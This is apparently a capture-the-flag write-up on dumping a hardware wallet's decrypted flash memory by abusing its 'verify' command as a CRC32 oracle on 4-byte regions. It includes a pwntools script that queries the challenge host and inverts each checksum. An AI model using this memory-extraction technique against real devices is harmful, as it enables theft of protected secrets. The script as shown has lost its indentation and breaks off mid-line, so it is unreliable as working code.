Rating:

Gerard can dump the flash memory, but the content is encrypted, and the decrypted data can be accessed only from within the controller. So, boot into wallet and look for useful commands that can reveal the memory. There isn't a "dump" command but the command "verify" provides CRC32 of the selected region that can be as small as 4 bytes. It is well-known that CRC32 can be efficiently forged to any value by correctly setting any 4 consecutive bytes; that means it is possible to uniquely restore a 4-byte region by its CRC32.
```
from pwn import *
context.log_level = 'debug'

# https://stackoverflow.com/questions/9285898/reversing-crc32/
poly = 0xedb88320
table = [None] * 256
revtable = [None] * 256
for i in range(256):
fwd = i
rev = i << 24
for _ in range(8):
if fwd & 1:
fwd = (fwd >> 1) ^ poly
else:
fwd = fwd >> 1
if rev & 0x80000000:
rev = ((rev ^ poly) << 1) | 1
else:
rev = rev << 1
table[i] = fwd
revtable[i] = rev

r = remote('flashme.donjon-ctf.io', 5555)
r.send('on\r\n')
r.recvuntil('flashwallet>')
f = open('decryptednew.bin', 'wb')
for i in range(0,1048576,4):
r.send('verify %d %d\r\n' % (i,i))
r.recvuntil('digest: 0x')
crc = int(r.recvuntil('\n'), 16)
crc ^= 0xFFFFFFFF
for _ in range(4):
crc = ((crc & 0x00FFFFFF) << 8) ^ revtable[crc >> 24] ^ 0xFF
f.write(struct.pack('